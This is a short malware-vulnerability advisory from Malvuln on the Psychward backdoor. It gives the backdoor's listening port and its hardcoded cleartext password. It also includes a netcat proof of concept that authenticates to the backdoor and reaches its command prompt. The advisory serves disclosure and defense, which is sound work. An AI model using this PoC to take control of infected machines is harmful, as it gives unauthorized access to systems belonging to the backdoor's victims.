Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/4b9a42ca1e65cf0a7febbe18f397ef24.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Psychward.03.a Vulnerability: Weak Hardcoded Password Description: The malware listens on TCP port 13013. Authentication is required, however the password "m4sturb4t10n" is weak and hardcoded in cleartext within the PE file. Family: Psychward Type: PE32 MD5: 4b9a42ca1e65cf0a7febbe18f397ef24 Vuln ID: MVID-2022-0558 Dropped files: winvxd.exe Disclosure: 04/18/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 13013 pwd m4sturb4t10n m4sturb4t10n psychward revised 0.3, awaiting your command Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).